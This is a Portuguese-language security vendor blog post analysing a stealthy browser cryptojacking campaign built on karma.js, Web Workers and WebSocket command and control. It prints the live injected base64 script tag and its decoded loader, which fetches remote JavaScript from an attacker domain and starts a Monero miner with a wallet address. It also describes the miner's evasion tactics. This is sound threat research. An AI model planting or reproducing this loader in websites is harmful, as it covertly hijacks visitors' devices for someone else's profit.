CryptoJacking está morto: viva o CryptoJacking

Resumo: minerador furtivo em WebAssembly com workers, e C2 via WebSocket

• O setor enterrou o cryptojacking depois de a Coinhive ter fechado em 2019. Esse obituário vendeu manchetes de ransomware. Entretanto, os mesmos grupos reconstruíram o minerador para limitar o uso da CPU, esconder-se em Web Workers e comunicar com o comando e controlo através de WebSockets.
• Os painéis da cside mostravam uma diminuição até o karma[.]js do yobox[.]store se espalhar por mais de 3.500 sites infetados, ligando-se a wss://lokilokitwo[.]de:10006 e reutilizando também o domínio trustisimportant[.]fun para Magecart. O nosso motor de deteção assinalou o ficheiro como malicioso apesar de não haver picos óbvios de CPU em testes em sandbox.
• Se a sua defesa parte do princípio de que o cryptojacking acabou, abandone essa ideia hoje mesmo. Adicione inspeção de scripts em runtime que vigie a criação de Web Workers e padrões de C2 via WebSocket, ou continue a pagar a conta da eletricidade para a carteira Monero de um desconhecido.

A ascensão e queda (e ressurgimento) da mineração no navegador

Foi em 2017 que a Coinhive surgiu em cena, incorporando um minerador de Monero diretamente em sites. Os utilizadores mineravam criptomoeda sem saber enquanto navegavam, transformando os seus dispositivos em máquinas de lucro silenciosas para os donos dos sites.

Por um breve momento, pareceu uma situação vantajosa para todos: os sites geravam receita sem anúncios, e os utilizadores evitavam pop-ups intrusivos. Mas à medida que a taxa de hash da Coinhive disparou para 12% do poder total da rede Monero, a lentidão dos dispositivos e o esgotamento da bateria geraram indignação pública.

Em 2019, navegadores como o Chrome e o Firefox bloquearam o CryptoJacking no navegador, e a Coinhive encerrou as suas atividades.

O cryptojacking, ao que tudo indicava, estava morto.

Mas em cibersegurança, a morte raramente é permanente…

Uma queda misteriosa (e uma falha na matrix)

Aqui na cside, acompanhávamos campanhas de cryptojacking há anos. No final de 2024, os nossos painéis mostravam uma queda acentuada na atividade. Os payloads de mineração estavam a ser bloqueados com mais eficácia, e os atacantes pareciam ter migrado para pastos mais verdes, como o ransomware ou o roubo de credenciais.

Depois, numa terça-feira de rotina, o nosso crawler assinalou algo estranho: um ficheiro JavaScript de terceiros carregado a partir de https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.

A própria URL já era um sinal de alerta: um parâmetro aleatório, uma query sem sentido nosaj=faster.mo. Mas o que realmente disparou os alarmes foi o comportamento do ficheiro:

• Nenhum pedido de rede (à primeira vista).
• Nenhum pico óbvio de CPU nos testes em sandbox.
• Ainda assim, a nossa IA assinalou-o como malicioso.

Não era o cryptojacking ruidoso e devorador de recursos de 2018. Isto era... silencioso.

Injeção no site:

<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>

O Base64 descodifica para:

(function(d, s, id){
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)){ return; }
    js = d.createElement(s); js.id = id;
    js.onload = function(){
        EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
    };
    js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
    fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));

O trustisimportant[.]fun redireciona o utilizador para yobox[.]store, de onde o JS malicioso é descarregado.

A depurar o fantasma: um tutorial de JS 101

Levámos o script para um ambiente controlado para o dissecar. Eis como abordámos o processo:

Passo 1: Criar uma sandbox de depuração segura

Envolvemos o JS numa página HTML simples com uma Content Security Policy (CSP) para permitir a depuração sem acionar os bloqueios do navegador:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
  <title>Debugging Karma</title>
</head>
<body>
  <script src="karma.js"></script> <!-- O ficheiro malicioso -->
</body>
</html>

A diretiva unsafe-eval foi fundamental porque o script utilizava uma ofuscação semelhante a eval para esconder a sua lógica.

Passo 2: Inserir armadilhas de depuração

Adicionámos instruções debugger; em pontos-chave para pausar a execução no Chrome DevTools. Por exemplo:

function _0x6BE7() { // Uma função de configuração do WebSocket
  debugger; // <-- A execução pausa aqui
  if (ws != null) { ws.close(); }
  // ... resto do código
}

Passo 3: Descodificar a ofuscação

O script era um labirinto de variáveis renomeadas (por exemplo, _0x6AC1, _0x6B23) e strings codificadas. Usando o separador Sources no DevTools, nós:

1. 1.Definimos breakpoints para percorrer a execução passo a passo.
2. 2.Observámos variáveis para mapear os seus propósitos reais (por exemplo, _0x6B85 verificava se o dispositivo era móvel).
3. 3.Seguimos a atividade de rede através do separador Network, revelando ligações WebSocket a wss://lokilokitwo[.]de:10006.

A descoberta principal: um minerador silencioso

O script não minerava criptomoeda diretamente. Em vez disso:

• Verificava o suporte a WebAssembly (para avaliar a capacidade do dispositivo).
• Criava Web Workers em segundo plano (array worcy) para executar tarefas de mineração sem bloquear a thread principal.
• Utilizava WebSockets para receber comandos do servidor C2, ajustando a intensidade de mineração com base nas capacidades do dispositivo.

Este era um minerador furtivo, concebido para evitar a deteção mantendo-se abaixo do radar tanto dos utilizadores como das ferramentas de segurança.

O panorama mais amplo: mais de 3.500 sites infetados

Uma investigação mais aprofundada revelou uma campanha de grande escala:

• Mais de 3.500 sites carregaram o karma[.]js malicioso.
• Infraestrutura reutilizada: o domínio trustisimportant[.]fun estava associado tanto a campanhas de cryptojacking como a campanhas de Magecart (skimming de cartões de crédito). Os atacantes estavam a diversificar as suas payloads.
• IPs principais: 89.58.14.251 e 104.21.80.1 atuavam como servidores de comando e controlo (C2).

O lema da campanha? "Fica quieto, mina devagar." Ao limitar o uso de CPU e esconder o tráfego em streams WebSocket, evitava os sinais reveladores do cryptojacking tradicional.

Ataques de CryptoJacking 101: o que é o CryptoJacking e como funciona hoje?

O cryptojacking moderno evoluiu para um ataque silencioso e de múltiplos estágios:

1. Ficheiros JS maliciosos, como o karma[.]js, são injetados em sites.
2. O script verifica o suporte a WebAssembly, o tipo de dispositivo (móvel vs. computador) e as funcionalidades do navegador para otimizar a mineração.
3. São criados Web Workers para executar tarefas de mineração em segundo plano, evitando sinais de alerta de desempenho.
4. WebSockets ou pedidos HTTPS obtêm tarefas de mineração e enviam os resultados para os servidores C2.

O objetivo é sugar recursos de forma persistente ao longo do tempo, como um vampiro digital, e não esgotar os dispositivos instantaneamente.

Conclusão: o jogo do gato e do rato continua

O cryptojacking não está morto, apenas ficou mais inteligente. Os atacantes agora priorizam a furtividade em vez do roubo de recursos por força bruta, usando ofuscação, WebSockets e reutilização de infraestrutura para permanecerem ocultos.

Os ataques do lado do cliente estão cada vez mais difíceis de detetar com verificações estáticas. É a inspeção de scripts em runtime que os apanha.